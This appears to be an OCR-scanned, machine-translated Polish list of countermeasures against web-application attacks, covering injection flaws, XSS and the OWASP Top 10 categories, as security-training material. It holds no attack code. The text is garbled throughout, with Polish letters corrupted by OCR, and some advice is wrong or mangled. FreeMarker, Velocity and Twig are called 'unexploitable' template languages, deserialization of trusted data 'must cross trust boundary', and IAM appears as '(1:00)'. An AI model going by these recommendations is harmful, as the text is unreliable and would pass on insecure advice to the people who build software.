o Uzywaj wbudowanych funkcji bibliotecznych i unikaj bezposredniego wywotywania polecen systemu
operacyjnego.

o Zaimplementuj jak najmniejsze uprawnienia, aby ograniczy¢ uprawnienia do wykonywania polecen
systemu operacyjnego.

o Unikaj wykonywania polecen, takich jak exec lub system bez odpowiedniej walidacji i oczyszczenia.
0 Zapobiec interpreterowi powtoki za pomoca pcntl_fork i pcntl_exec w PHP.
0 Zaimplementuj Pythona jako platforme internetowg zamiast PHP do tworzenia aplikacji.

o Skanuj aplikacje za pomocg dynamicznego internetowego skanera luk w zabezpieczeniach, aby
zapobiec wstrzykiwaniu kodu.

o Wylicz autoryzowane wartosci w instrukcji warunkowej.
Ataki iniekcyjne LDAP

Atak polegajacy na wstrzyknieciu LDAP jest podobny do wstrzykniecia kodu SQL: ataki na aplikacje
internetowe polegajg na przejeciu danych wprowadzonych przez uzytkownika w celu utworzenia
zapytan LDAP. Wykonywanie ztosliwych zapytan LDAP w aplikacjach tworzy arbitralne zapytania, ktore



ujawniajg informacje, takie jak nazwa uzytkownika i hasto, przyznajagc w ten sposéb atakujgcym
nieautoryzowany dostep i uprawnienia administratora. Niektére srodki zaradcze przeciwko atakom
polegajgcym na wstrzykiwaniu LDAP s3 nastepujgce:

o Wykonaj walidacje typu, wzorca i wartosci domeny na wszystkich danych wejsciowych,
o Ustaw filtr LDAP tak szczegétowo, jak to mozliwe.

o Weryfikacja i ograniczenie ilosci danych zwracanych uzytkownikowi,

o Wdrozy¢ Scista kontrole dostepu do danych w katalogu LDAP,

o Wykonywanie dynamicznych testéw i analiz kodu Zrédtowego,

o Zdezynfekuj wszystkie wejscia uzytkownika i unikaj znakéw specjalnych,

o Unikaj konstruowania filtréw wyszukiwania LDAP poprzez tgczenie ciggdéw znakow,

o Uzyj filtra AND, aby narzuci¢ ograniczenia na podobne wpisy.

o Uzyj protokotu LDAPS (LDAP przez SSL) do szyfrowania i zabezpieczania komunikacji na serwerach
WWW.

o Skonfiguruj powigzanie konta LDAP w srodowisku z mozliwie najmniejszymi uprawnieniami.
o Skonfiguruj LDAP z uwierzytelnianiem wigzania.

o Korzystaj z ustug testowania opartych na SaaS do zwalczania atakéw polegajgcych na wstrzykiwaniu
LDAP.

Ataki polegajace na wstrzykiwaniu plikow

Atakujacy uzywajg skryptéw do wstrzykiwania ztosliwych plikéw na serwer, umozliwiajgc im
wykorzystanie wrazliwych parametréow i wykonanie ztosliwego kodu. Taki atak umozliwia tymczasowg
kradziez danych i manipulacje danymi, a takze moze zapewni¢ atakujagcym trwatg kontrole nad
serwerem. Oto niektdre srodki zaradcze przeciwko atakom polegajgcym na wstrzykiwaniu plikow:

o Silnie zweryfikowac¢ dane wprowadzone przez uzytkownika,

o Rozwaz wdrozenie wiezienia chroot.

o PHP: Wytacz allow_url_fopen i allow_url_include w php.ini.

o PHP: Wytacz register_globals i uzyj E_STRICT do znalezienia niezainicjowanych zmiennych,

o PHP: Upewnij sie, ze wszystkie funkcje plikdw i strumieni (stream_*) sg doktadnie sprawdzone.

o Skonfiguruj oddzielng baze danych dla plikéw i sciezek do plikéw, wraz z unikalnym
identyfikatorem/ID dla kazdej $ciezki, aby unikng¢ atakéw MITM.

o Unikaj wykonywania plikéw w katalogach domysinych i wtgcz opcje automatycznego pobierania
nagtdowka dla komunikacji po stronie serwera.

o Sprawdz opakowania PHP, takie jak PHP filter i PHP ZIP, aby uniemozliwié dostep do poufnych plikéw
w systemie plikdw lokalnego serwera.

o Prowadz biatg liste dozwolonych typdéw plikéw i limitéw wielkosci plikdw przed wykonaniem,



0 Zastosuj warstwe bezpieczenstwa WAF do monitorowania atakow polegajgcych na wstrzykiwaniu
plikdw na serwer.

Wstrzykiwanie JS po stronie serwera

o Upewnij sie, ze dane wprowadzane przez uzytkownika sg doktadnie sprawdzane po stronie serwera
przed przetwarzaniem.

o Unikaj uzywania funkcji evalQ do analizowania danych wejsciowych uzytkownika.

o Nigdy nie uzywaj polecei dajgcych identyczne efekty, takich jak setTimeOut(), setinterval() i
Function!).

o Uzyj JSON.parse() zamiast eval() do analizy danych wejsciowych JSON.
o Upewnij sie, ze na poczatku funkcji dodano ,use strict”, aby wigczyc¢ tryb $cisty w zakresie funkcji.

o Upewnij sie, ze jako dane wprowadzane przez uzytkownika akceptowane sg tylko krdtkie ciggi
znakéw alfanumerycznych.

o Nie uzywaj serializacji kodu.
Wstrzykiwanie po stronie serwera

o Sprawdz poprawnos$¢ danych wprowadzonych przez uzytkownika i upewnij sie, ze nie zawierajg one
znakéw uzywanych w dyrektywach SSI.

0 Zastosuj kodowanie HTML do danych wejsciowych uzytkownika przed wykonaniem ich na stronach
internetowych.

o Upewnij sie, ze dyrektywy ograniczajg sie tylko do tych stron internetowych, na ktérych sg
wymagane.

o Unikaj uzywania stron z rozszerzeniami nazw plikow, takimi jak .stm, .shtm i .shtml, aby zapobiec
atakom.

0 Zaimplementuj SUExec do wykonywania stron jako wtasciciel pliku.

o Skonfiguruj plik global access.conf za pomocg opcji OPTIONS IncludeNOEXEC, aby ograniczy¢
wykonywanie SSI w katalogach.

Wstrzykiwanie szablonu po stronie serwera

o Nie twodrz szablondw z danych wejsciowych uzytkownika ani nie przekazuj danych wejsciowych
uzytkownika jako parametréw do szablonow.

o Uzyj prostego mechanizmu szablonéw, takiego jak szablon Mustache lub Python, jesli wymagania
biznesowe obstugujg szablony przestane przez uzytkownikéw.

0 Zapoznaj sie z dokumentacjg silnika szablonéw, aby znalez¢ wskazéwki dotyczgce utwardzania.
o0 Wykonaj szablon w srodowisku piaskownicy.
o W miare mozliwosci rozwaz tadowanie statycznych plikdw szablonéw.

o Upewnij sie, ze dane dynamiczne sg przekazywane do szablonu przy uzyciu wbudowanych funkcji
silnika szablonéw.



o Korzystaj z predefiniowanych tadunkéw wraz z wbudowanymi wyrazeniami szablonowymi, aby
okresowo sprawdza¢ odpowiedzi serwera.

o Uzywaj wysoce ztozonych i niemozliwych do wykorzystania jezykdw programowania szablonéw,
takich jak FreeMaker, Velocity, Smarty, Twig i Jade, aby opracowac szablon.

o Upewnij sie, ze taficuchy i zmienne szablonu nigdy nie sg tgczone.

Wstrzykiwanie dziennika

o Przekazuj kody dziennika zamiast komunikatdw przez parametry.

o Uzywaj poprawnych kodéw btedéw i fatwo rozpoznawalnych komunikatéw o btedach.

o Unikaj uzywania wywotan API do rejestrowania dziatan ze wzgledu na ich widoczno$¢é w wywotaniach
sieciowych przegladarki.

o Upewnij sie, ze przekazujesz identyfikatory uzytkownikéw lub publicznie nieidentyfikowalne dane
wejsciowe jako parametry w punktach koricowych rejestrowania.

o Weryfikuj dane wejsciowe zaréwno po stronie serwera, jak i po stronie klienta oraz oczyszczaj i
zastepuj ztosliwe znaki.

o Dokfadnie sprawdz aplikacje pod katem luk w zabezpieczeniach, ktére sg uzywane do renderowania
dziennikow.

o Oddziel legalne i fatszywe wpisy w dzienniku, uzywajac prefiksu dla kazdego wpisu w dzienniku z
dodatkowymi metadanymi.

o Ogranicz dostep do fizycznych plikéw dziennika.
o Kontroluj przebieg wykonywania za pomocg odpowiedniej synchronizacji.

o Aktywnie skanuj luki w zabezpieczeniach zwigzane z wprowadzaniem logéw za pomocg narzedzi do
analizy statycznej.

o Unikaj przegladania dziennikdbw za pomoca narzedzi umozliwiajgcych interpretacje znakow
kontrolnych w pliku.

Wstrzykniecie HTML

o Sprawdz poprawnos¢ wszystkich danych wprowadzonych przez uzytkownika, aby usungé
podtancuchy sktadni HTML z tekstu dostarczonego przez uzytkownika.

o Sprawdz dane wejsciowe pod katem niepozgdanego skryptu lub kodu HTML, takiego jak
<script></script>, <htmlx/html>.

0 Zastosuj rozwigzania bezpieczenstwa, ktdre unikajg fatszywych alarmoéow i wykrywajg mozliwe
iniekcje.

o Upewnij sie, ze dane wyjsciowe uzytkownika sg réwniez kodowane, badane i zatwierdzane wraz z
danymi wejsciowymi uzytkownika, utrzymujgc petny proces sprawdzania poprawnosci danych.

o Edukuj zespoty programistéw wraz z zespotami ds. bezpieczedstwa w zakresie najbardziej
rozpowszechnionych atakéw polegajgcych na  wstrzykiwaniu kodu HTML oraz sSrodkéw
zapobiegawczych.



o0 Wtacz flage HttpOnly po stronie serwera, aby upewnic sie, ze wszystkie pliki cookie generowane przez
aplikacje nie sg dostepne dla uzytkownika klienta.

Wstrzykniecie CRLF

o Uzywaj dowolnej funkcji do kodowania znakdw specjalnych CRLF i unikaj uzywania danych
wprowadzonych przez uzytkownika w nagtéwkach odpowiedzi.

o Zaktualizuj wersje jezyka programowania, ktora nie zezwala na wstrzykiwanie znakéw CR (powrdt
karetki) i LF (przejscie do nowego wiersza).

o Przepisz kod tak, aby zawartos$¢ uzytkownika nie byta bezposrednio wykorzystywana w strumieniu
HTTP.

o Sprawdz i usun wszelkie znaki nowej linii w tresci przed przekazaniem jej do nagtéwka http.
o Zaszyfruj dane przekazywane do nagtéwkow HTTP, aby ukry¢ kody CR i LF,
o0 Wytgcz niechciane nagtéwki.

o Skonfiguruj XSSUrlFilter w aplikacji internetowej, aby zapobiec atakom polegajgcym na
wstrzykiwaniu CRLF.

o Uzyj narzedzi, takich jak htmlcleaner (http://htmlcleaner.sourceforge.net ), aby usungé znaczniki
skryptow i obronic sie przed atakami polegajgcymi na wstrzykiwaniu CRLF.

Ataki XSS

XSS to inny rodzaj atakéw sprawdzania poprawnosci danych wejsciowych, ktérych celem jest wadliwy
mechanizm sprawdzania poprawnosci danych wejsciowych aplikacji internetowych w celu ztosliwych
dziatan. Atakujacy osadzajg ztosliwy skrypt w bramkach wejsciowych aplikacji internetowych, co
pozwala im omingc¢ $rodki bezpieczenstwa narzucone przez aplikacje. Oto niektére srodki zaradcze
przeciwko atakom XSS:

o Weryfikuj wszystkie nagtowki, pliki cookie, ciggi zapytan, pola formularzy i pola ukryte (tj. wszystkie
parametry) pod katem rygorystycznej specyfikacji.

o Intensywnie korzystaj z narzedzi testowych w fazie projektowania, aby wyeliminowac takie luki XSS
w aplikacji, zanim zostanie ona uzyta.

o Uzyj zapory sieciowej aplikacji internetowej, aby zablokowaé wykonanie ztosliwego skryptu.

o Konwertuj wszystkie znaki inne niz alfanumeryczne na znaki HTML przed wyswietleniem danych
wprowadzonych przez uzytkownika w wyszukiwarkach i na forach.

o Zakodowac dane wejsciowe i wyjSciowe oraz filtrowa¢ metaznaki na wejsciu,
o Nigdy nie ufaj stronom internetowym, ktére uzywajg HTTPS, jesli chodzi o XSS.

o Filtrowanie danych wyjsciowych skryptu moze réwniez wyeliminowac luki w zabezpieczeniach XSS,
zapobiegajac przesytaniu ich do uzytkownikdéw.

o Wdrdz infrastrukture klucza publicznego (PKI) do uwierzytelniania, ktéra sprawdza, czy
wprowadzony skrypt jest rzeczywiscie uwierzytelniony.

o Wdrozy¢ rygorystyczng polityke bezpieczenstwa.



o Serwery sieci Web, serwery aplikacji i Srodowiska aplikacji sieci Web sg podatne na skrypty krzyzowe.
Trudno jest zidentyfikowaé i usung¢ wady XSS z aplikacji internetowych. Najlepszym sposobem na
znalezienie luk jest dokonanie przegladu bezpieczenstwa kodu i przeszukanie wszystkich miejsc, w
ktérych dane wejsciowe z zgdania HTTP przychodzg jako dane wyjsciowe przez HTML.

o Atakujacy uzywa réznych znacznikéw HTML do przesytania ztosliwego kodu JavaScript. Nessus, Nikto
i inne narzedzia mogg do pewnego stopnia pomdc w skanowaniu stron internetowych pod katem tych
bteddw. Jesli skanowanie wykryje luke w zabezpieczeniach strony internetowej, istnieje duze
prawdopodobienstwo, ze bedzie ona podatna na inne ataki.

o Przejrzyj kod strony internetowej, aby bronié sie przed atakami XSS. Sprawdz solidno$¢ kodu,
przegladajac go i poréwnujgc z doktadnymi specyfikacjami. Sprawdz nastepujgce obszary: nagtowki,
pliki cookie, pola formularza ciggu zapytania i pola ukryte. Podczas procesu walidacji nie wolno
podejmowac préb rozpoznania aktywnej zawartosci, ani przez usuniecie filtra, ani przez jego
oczyszczenie.

o Istnieje wiele sposobdw kodowania znanych filtrow zawartosci aktywnej. Zdecydowanie zaleca sie
,pozytywng polityke bezpieczenstwa”, ktora okresla, co jest dozwolone, a co nalezy usungé. Zasady
negatywne lub oparte na sygnaturach atakdéw sg trudne do utrzymania, poniewaz sg niekompletne.

o Pola wejsciowe powinny by¢ ograniczone do maksymalnego rozmiaru, poniewaz wiekszo$¢ atakéw
skryptowych wymaga kilku znakéw do zainicjowania.

o Wdrozy¢ polityke bezpieczenstwa tresci (CSP), aby uniemozliwi¢ przegladarce przeprowadzanie
atakow XSS.

o Unikaj niezaufanych danych Zzadan HTTP zbudowanych na podstawie kontekstu w danych
wyjsciowych HTML, aby rozwigzaé luki w zabezpieczeniach XSS Reflected i Stored.

o Uzywaj kodowania kontekstowego podczas modyfikowania dokumentu przeglagdarki po stronie
klienta, co dziata przeciwko DOM-XSS.

o Uzywaj identyfikatorow sesji i znacznikdw czasu, aby uniemozliwié atakujagcym dostep do informacji
o koncie klienta za pomoca sesyjnych plikdéw cookie.

o Uzywaj zautomatyzowanych narzedzi VAPT podczas fazy opracowywania kodu zrédtowego aplikacji
internetowej, aby upewnic sie, ze aplikacja jest wolna od znanych luk w zabezpieczeniach.

o Korzystaj z przegladarek, ktére majg wbudowane filtrowanie zabezpieczen po stronie klienta aby
utrudnia¢ wykonywanie zto$liwych skryptow.

Srodki zaradcze w przypadku atakéw na aplikacje internetowe
Uszkodzona kontrola dostepu

o Wykonaj kontrole kontroli dostepu przed przekierowaniem autoryzowanego uzytkownika do
zgdanego zasobu.

o Unikaj uzywania niezabezpieczonych identyfikatorow, aby uniemozliwi¢ atakujgcemu ich
odgadniecie.

o Udostepnij mechanizm limitu czasu sesji,
o Ogranicz uprawnienia do plikdw do upowaznionych uzytkownikéw, aby zapobiec naduzyciom,

o Unikaj mechanizméw buforowania po stronie klienta,



o Usun tokeny sesji po stronie serwera po wylogowaniu uzytkownika.

o Upewnij sie, ze uzytkownikom przypisano minimalne uprawnienia do wykonywania tylko
niezbednych czynnosci.

o Egzekwuj mechanizmy kontroli dostepu raz i uzywaj ich ponownie w catej aplikacji.
o Domyslnie wdrazaj odmowy, z wyjgtkiem zasobdw publicznych.

o Wymus kontrole dostepu do modelu, ktdra rejestruje wiasnosé¢, zamiast pozwalaé uzytkownikowi na
modyfikacje rekordu.

o Przeprowadzaj regularne audyty i testy kontroli dostepu, aby wykry¢ wady i upewnié sie, ze kontrole
dziatajg zgodnie z oczekiwaniami.

o Upewnij sie, ze zaufane jest tylko uwierzytelnianie po stronie serwera, poniewaz dla wszystkich
aplikacji, uzytkownikdéw i ustug zaimplementowano te same kontrole.

0 Wiacz kontrole dostepu opartg na rolach (RBAC) w celu zwiekszenia zgodnosci,

o Upewnij sie, ze katalogi gtéwne nie zawierajg zadnych metadanych ani plikéw kopii zapasowych,
o Uniewaznij stanowe identyfikatory sesji na serwerze po wylogowaniu uzytkownika.

o Ograniczenie korzystania z protokotu wspoétdzielenia zasobdw miedzy zrédtami (CORS).

Awarie kryptograficzne/narazenie wrazliwych danych

Wiele aplikacji internetowych nie chroni odpowiednio poufnych danych, takich jak numery kart
kredytowych, numery SSN i dane uwierzytelniajgce, stosujgc odpowiednie szyfrowanie lub mieszanie.
Osoby atakujgce mogg ukrasé¢ lub zmodyfikowac takie stabo chronione dane w celu kradziezy
tozsamosci, oszustwa zwigzanego z kartami kredytowymi lub innych przestepstw. Oto niektére srodki
zaradcze przeciwko awariom kryptograficznym/atakom polegajagcym na ujawnieniu wrazliwych
danych:

o Nie twdrz ani nie uzywaj stabych algorytmow kryptograficznych,
o Generuj klucze szyfrowania w trybie offline i przechowuj je bezpiecznie,
o Upewnij sie, ze zaszyfrowane dane przechowywane na dysku nie sg tatwe do odszyfrowania.

o Uzywaj szyfrowania AES dla przechowywanych danych i uzywaj TLS z HSTS (HTTP Strict Transport
Security) dla ruchu przychodzacego.

o Klasyfikuj dane przetwarzane, przechowywane lub przesytane przez aplikacje i odpowiednio stosuj
kontrole.

o Uzywaj tokenizacji lub obcinania zgodnego z PCI DSS, aby usuwaé dane wkrétce po ich wymogu.

o Uzywaj odpowiedniego zarzadzania kluczami i upewnij sie, ze wszystkie klucze sg na swoim miejscu,
o Szyfruj wszystkie przesytane dane za pomocg TLS z szyframi Perfect Forward Secrecy (PFS),

o Wytaczy¢ techniki buforowania dla zgdan zawierajgcych poufne informacje,

o Unikaj przechowywania nieuzywanych waznych danych w przestrzeni magazynowej, aby unikngé
narazenia,



o Zastosuj dobrze opracowany odrebny algorytm bezpieczenistwa przechowywania haset,
o Wytgcz opcje automatycznego wypetniania formularzy danych bardzo wrazliwych.

0 Zastosuj zabezpieczenia WAF jako dodatkowg warstwe ochrony wraz z maskowaniem danych i
dostosowanymi regutami dostepu do poufnych danych po stronie klienta.

o Unikaj uzywania interfejsow API, ktére wymagajg nadmiernej ekspozycji danych, uzywajac
globalnych tadunkéw JSON.

o Uzywaj solonych funkcji haszujacych, takich jak PBKDF2 i Argon2 do przechowywania haset,
o Uzywaj IV i CSPRNG tylko wtedy, gdy ich wdrozenie jest wymagane.

o Unikaj uzywania przestarzatych funkcji haszujgcych i technik wypetniania, takich jak MD5, SFIA-1,
PKCS vl i PKCS vl.5.

o Uzywaj uwierzytelnionych technik szyfrowania podczas szyfrowania przechowywanych danych, aby
osiggnac zardwno poufnosé, jak i integralnosc danych.

Niepewny projekt
o Modelowanie zagrozen:

e Wdrazaj system modelowania zagrozen, aby wykrywac potencjalne zagrozenia, zanim zostang one
wykorzystane. System modelowania zagrozen analizuje wymagania dotyczgce bezpieczenstwa i
prywatnosci aplikacji podczas jej opracowywania.

¢ Dokonuj okresowych ocen kazdego modutu i funkcji, ktére majg zostaé dodane w aplikacji.

e Projektowanie testow do walidacji i weryfikacji przeptywu w celu obrony przed wymienionymi
zagrozeniami.

Bezpieczna konstrukcja:

e Zaimplementuj bezpieczny projekt, ktdry moze pomdc w utrzymaniu odpowiedniego bezpieczenstwa
w aplikacji poprzez automatyczng ocene i testowanie pod katem potencjalnych zagrozen.

e Upewnij sie, ze aplikacja zostata zweryfikowana pod katem btedow. Oszacowania nalezy
przeanalizowac i zapisaé. Na podstawie zarejestrowanych szacunkéw nalezy wdrozy¢ odpowiednie
srodki.

o Bezpieczny cykl rozwojowy:

e Implementuj bezpieczny cykl zycia oprogramowania, ktory pomaga w spetnieniu wymagan klienta i
rozwijaniu aplikacji zgodnie ze standardami bezpieczeristwa.

e Upewnij sie, ze zespoty deweloperskie i ds. bezpieczenstwa utrzymujg prawidtowg komunikacje
podczas opracowywania aplikacji w celu wdrozenia kontroli zwigzanych z bezpieczernstwem i
prywatnoscig aplikacji.

Niektére dodatkowe srodki zaradcze przeciwko niepewnym problemom projektowym sg nastepujgce:
o Okresowo przeprowadzaj testy niezawodnosci aplikacji na kazdym etapie rozwoiju,

o Korzystaj z ograniczonego uprzywilejowanego dostepu do zasobdéw w zaleznosci od aplikacji lub
ustugi.



o Rozrdznij liste scenariuszy dostepnosci dla uzytkownikéw na dwie kategorie w oparciu o przypadki
uzycia i niewtasciwego uzycia.

o Implementacja kontroli bezpieczenstwa warstwami, poczawszy od sieci do systemu,
o Kategoryzuj uzytkownikéw aplikacji na podstawie ich uprawnien i poziomdéw dostepu.

o Wykonaj identyfikacje wektora ataku przy uzyciu wszystkich zabezpieczen i kontroli dostepu oraz
profilowania ryzyka biznesowego.

Btedna konfiguracja zabezpieczen

Btedna konfiguracja zabezpieczen sprawia, ze aplikacje internetowe sg potencjalnie podatne na ataki i
moga zapewnic¢ atakujgcym dostep do nich, a takze do plikdw i innych funkcji kontrolujgcych aplikacje.
Niewystarczajgca  ochrona  warstwy  transportowej umozliwia  atakujgcym  uzyskanie
nieautoryzowanego dostepu do poufnych informacji, a takie przeprowadzanie atakdw, takich jak
kradziez konta, phishing i wtamanie sie do kont administratoréw. Szyfruj catg komunikacje miedzy
witryng a klientem, aby zapobiec atakom z powodu niewystarczajgcej ochrony warstwy transportowe;j.
Oto niektére srodki zaradcze przeciwko atakom zwigzanym z btedng konfiguracjg zabezpieczen:

o Skonfiguruj wszystkie mechanizmy bezpieczenstwa i wytgcz wszystkie nieuzywane ustugi.

o Skonfiguruj role, uprawnienia i konta oraz wytgcz wszystkie domysine konta lub zmien ich domysine
hasta.

o Skanuj w poszukiwaniu najnowszych luk w zabezpieczeniach i zastosuj najnowsze poprawki
bezpieczenstwa,

o0 Zadania non-SSL do stron www powinny by¢ przekierowywane na strone SSL,
o Ustaw flage , bezpieczne” dla wszystkich wrazliwych plikéw cookie,
o Skonfiguruj dostawce SSL, aby obstugiwat tylko silne algorytmy.

o Upewnij sie, ze certyfikat jest wazny i nie wygast oraz ze pasuje do wszystkich domen uzywanych
przez witryne.

o Backend i inne potgczenia powinny rowniez wykorzystywac SSL lub inne technologie szyfrowania.
o Uzywaj réznych poswiadczen dla kazdej fazy, takiej jak opracowywanie, testowanie i produkcja.
o Nie dodawaj do aplikacji zbednych funkcji, komponentow, prébek i frameworkow.

o Segmentuj architekture aplikacji, aby zapewni¢ indywidualne zabezpieczenia dla kazdego
komponentu i najemcy.

o Wdrozy¢ zautomatyzowany proces sprawdzania skutecznosci konfiguracji i ustawien na wszystkich
etapach.

Zewnetrzna jednostka XML

o Unikaj przetwarzania danych wejsciowych XML zawierajacych odniesienie do podmiotu
zewnetrznego przez stabo skonfigurowany parser XML.

o XML unmarshaller powinien by¢ skonfigurowany w bezpieczny sposob.

o Przeanalizuj dokument za pomocg bezpiecznie skonfigurowanego parsera.



o Skonfiguruj procesor XML, aby uzywat lokalnego statycznego DTD i wytgcz wszelkie zadeklarowane
DTD zawarte w dokumencie XML.

o Zaimplementuj techniki biatej listy, sprawdzania poprawnosci danych wejsciowych, sanityzacji i
filtrowania, aby zapobiec wrogim danym w dokumentach XML.

o Aktualizuj i fataj najnowsze procesory i biblioteki XML.

o Upewnij sie, ze funkcja przesytania plikdéw XML/XLS sprawdza poprawno$¢é XML przy uzyciu walidacji
XSD.

o Uzywaj narzedzi bezpieczenstwa, takich jak bramki bezpieczenstwa API, narzedzia do interaktywnego
testowania bezpieczenstwa aplikacji (IAST) i zapory aplikacji internetowych (WAF), aby identyfikowa¢
i powstrzymywac ataki XXE.

o Monitoruj przebieg wykonywania aplikacji, umieszczajgc punkty kontrolne w kodzie Zrédtowym w
celu wykrywania i blokowania przetwarzania XML.

Wrazliwe i przestarzate komponenty/Korzystanie z komponentéw ze znanymi lukami w
zabezpieczeniach

o Regularnie sprawdzaj wersje komponentdw po stronie klienta i serwera oraz ich zaleznosci.

o Stale monitoruj zrédta, takie jak National Vulnerability Database (NVD) pod katem luk w
wykorzystywanych komponentach.

o Regularnie stosuj poprawki bezpieczeristwa.

o Czesto skanuj komponenty za pomocg skaneréw bezpieczenstwa.

o Egzekwuj zasady bezpieczenstwa i najlepsze praktyki dotyczace korzystania z komponentow.

o Przejrzyj wszystkie zaleznosci, w tym zaleznosci przejsciowe, i upewnij sie, ze nie sg podatne na ataki.

o Regularnie prowadz inwentaryzacje wersji komponentéw zaréwno po stronie klienta, jak i po stronie
serwera.

o Pozyskuj komponenty z oficjalnych zrédet i akceptuj tylko podpisane paczki.

o Uzywaj proceséw analizy sktadu oprogramowania (SCA) do sprawdzania kodu Zrddtowego i
monitorowania luk w zabezpieczeniach i ograniczen oprogramowania typu open source.

o Sprawdz aktualizacje podkomponentdw wraz z gtdwnymi komponentami.

o Zapakuj wymagane komponenty w opakowania zabezpieczajgce, aby zabezpieczy¢ wszelkie wrazliwe
elementy tych komponentow.

o Sprawdz niepotrzebne zaleznosci, komponenty i pliki i usun je.
Btedy identyfikacji i uwierzytelniania/nieudane uwierzytelnianie i zarzadzanie sesja

Luki w funkcjach aplikacji do uwierzytelniania i zarzgdzania sesjami umozliwiajg atakujgcym uzyskanie
haset, kluczy i tokenow sesji lub wykorzystanie innych luk w zabezpieczeniach w celu uzyskania danych
uwierzytelniajgcych innych uzytkownikéw. Sesyjne pliki cookie sg przeznaczone dla adreséw IP
klientéw, dostarczajgc plik cookie sprawdzania poprawnosci, ktéry zawiera token kryptograficzny,
ktory weryfikuje, czy adres IP klienta jest tym, do ktérego zostat wydany token sesji. Dlatego, aby



przeprowadzi¢ atak sesyjny, atakujgcy musi ukrasc¢ adres IP docelowego uzytkownika. Oto niektore
srodki zaradcze przeciwko ztamanym uwierzytelnieniom i atakom zwigzanym z zarzadzaniem sesja:

o Uzywaj protokotu SSL dla wszystkich uwierzytelnionych czesci aplikacji.

o Zweryfikuj, czy wszystkie tozsamosci i dane uwierzytelniajgce uzytkownikéw sg przechowywane w
postaci zaszyfrowane;j,

o Nigdy nie przesytaj danych sesji w ramach GET lub POST,
0 Zastosuj pass phrasing z co najmniej piecioma losowymi stowami.
o Ogranicz préby logowania i zablokuj konto na okreslony czas po okreslonej liczbie nieudanych préb.

o Korzystaj z menedzera sesji bezpiecznej platformy, aby generowac dtugie, losowe identyfikatory sesji
w celu bezpiecznego tworzenia sesji.

0 Zaimplementuj mechanizmy uwierzytelniania wielosktadnikowego, aby zapobiec zgadywaniu,
upychaniu poswiadczen i brutalnemu wymuszaniu.

o Pamietaj, aby zabezpieczy¢ hasta za pomoca algorytmu szyfrowania skrétow haset lub narzedszi,
takich jak bcrypt, scrypt lub Argon2.

o Upewnij sig, ze stabe hasta s3 pordwnywane z listg najczestszych ztych haset.
o Rejestruj awarie uwierzytelniania i wysytaj alerty w przypadku wykrycia prawdopodobnych atakow.

o Sprawdzaj adresy URL pod katem niezabezpieczonych informacji, takich jak identyfikatory sesji,
podczas udostepniania adreséw URL, aby unikng¢ atakédw zwigzanych z przepisywaniem adreséw URL.

o Stosowac odpowiednie procedury zarzadzania sesjy dla dziatan zwigzanych z logowaniem i
wylogowywaniem oraz upewnic sie, ze po wylogowaniu wartos¢ ses;ji jest nieprawidtowa.

o Upewnij sie, ze bramy API, odzyskiwanie poswiadczen i bezpieczenstwo rejestracji s3 wzmocnione
przed atakami wyliczajgcymi.

o OdpowiedZ na niepowodzenie logowania nie powinna wskazywaé, ktora czes¢ poswiadczen jest
niepoprawna, i po prostu odpowiadaé¢ komunikatem ,nieprawidtowa nazwa uzytkownika i/lub hasto”.

o0 Wdrozy¢ zarzadzanie tozsamoscig i dostepem (1:00) oraz egzekwowac bezpieczne zasady haset w
celu wzmocnienia haset do kont uzytkownikow.

Awarie oprogramowania i integralnosci danych

o Egzekwowanie podpiséw cyfrowych lub powigzanych technik w celu testowania integralnosci zrddta,
oprogramowania i danych.

0 Zawsze uzywaj zaufanych repozytoridw, takich jak npm i Maven dla bibliotek i zaleznosci.

o Sprawdz komponenty oprogramowania pod katem znanych Iluk, korzystajagc z narzedzi
bezpieczenstwa taiicucha dostaw, takich jak OWASP Dependency Check lub OWASP CycloneDX.

o Regularnie kontroluj kod i konfiguracje oprogramowania, aby zmniejszy¢ prawdopodobienstwo
wprowadzenia ztosliwego kodu do potoku oprogramowania.

o Wdrozy¢ odpowiednig izolacje, konfiguracje i kontrole dostepu do danych przeptywajacych przez
procesy budowania i wdrazania potoku CI/CD.



Niebezpieczna deserializacja

o Zweryfikuj niezaufane dane wejsciowe, ktére majg byc serializowane, aby upewnié sie, ze
serializowane dane zawierajg tylko zaufane klasy.

o Deserializacja zaufanych danych musi przekroczy¢ granice zaufania.
o Deweloperzy muszg przerobié architekture swoich aplikacji.

o Unikaj serializacji dla klas wrazliwych na bezpieczenstwo.

o Chron wrazliwe dane podczas deserializacji.

o Filtruj niezaufane dane szeregowe.

o Wymus sprawdzanie duplikatow menedzera bezpieczeistwa w klasie podczas serializacji i
deserializacji.

o Zrozumie¢ uprawnienia bezpieczeristwa nadane serializacji i deserializacji.

o Zaimplementuj kontrole integralnosci lub szyfrowanie serializowanych obiektéw, aby zapobiec
modyfikacji danych lub tworzeniu wrogich obiektéw.

o Wyizoluj kod, ktory deserializuje, aby dziatat w sSrodowiskach o bardzo niskich uprawnieniach.

o Rejestruj wyjatki i btedy deserializacji, aby typ przychodzacy nie byt taki sam jak typ oczekiwany; w
przeciwnym razie zgtasza wyjatek.

o Sprawdz i ogranicz aktywnosc sieciowg do i z kontenerdw i serwerdw, ktére wykonujg deserializacje.
o Monitoruj proces deserializacji w celu wykrycia ciggtej deserializacji przez uzytkownika.

o Unikaj deserializacji obiektéw domeny.

0 Zawsze wykonuj testy integralnosci przed rozpoczeciem deserializacji.

o Uzywaj metod niezaleznych od jezyka, takich jak JSON lub XML, zamiast ogdlnych funkcji
deserializacji.

Btedy rejestrowania i monitorowania zabezpieczer/niewystarczajagce rejestrowanie i
monitorowanie

o Zdefiniuj zakres zasobow objetych monitorowaniem logéw, aby uwzglednié obszary o krytycznym
znaczeniu biznesowym.

o Skonfiguruj minimalng linie bazowg dla rejestrowania i upewnij sie, ze jest ona przestrzegana dla
wszystkich zasobow.

o Upewnij sig, ze dzienniki sg rejestrowane w kontekscie uzytkownika, aby mozna byto je przesledzié
do konkretnych uzytkownikéw.

o Ustal, co nalezy rejestrowad i jakiego dziennika szuka¢ poprzez proaktywng identyfikacje incydentdéw.

o Wykonaj oczyszczanie wszystkich danych zdarzen, aby zapobiec atakom polegajgcym na
wstrzyknieciu dziennika.

o Zaimplementuj wspdlny mechanizm logowania dla catej aplikacji i wykorzystaj efektywnga reakcje na
incydenty.



o Upewnij sie, ze wszystkie logowania, awarie kontroli dostepu i awarie sprawdzania poprawnosci
danych wejsciowych moga by¢ rejestrowane wraz z kontekstem uzytkownika niezbednym do
identyfikacji podejrzanych kont.

o Upewnij sie, ze transakcje o wysokiej wartosci obejmujg Sciezke audytu z kontrolami integralnosci,
aby zapobiec manipulacjom w bazach danych, takim jak tabele baz danych tylko do dofaczania.

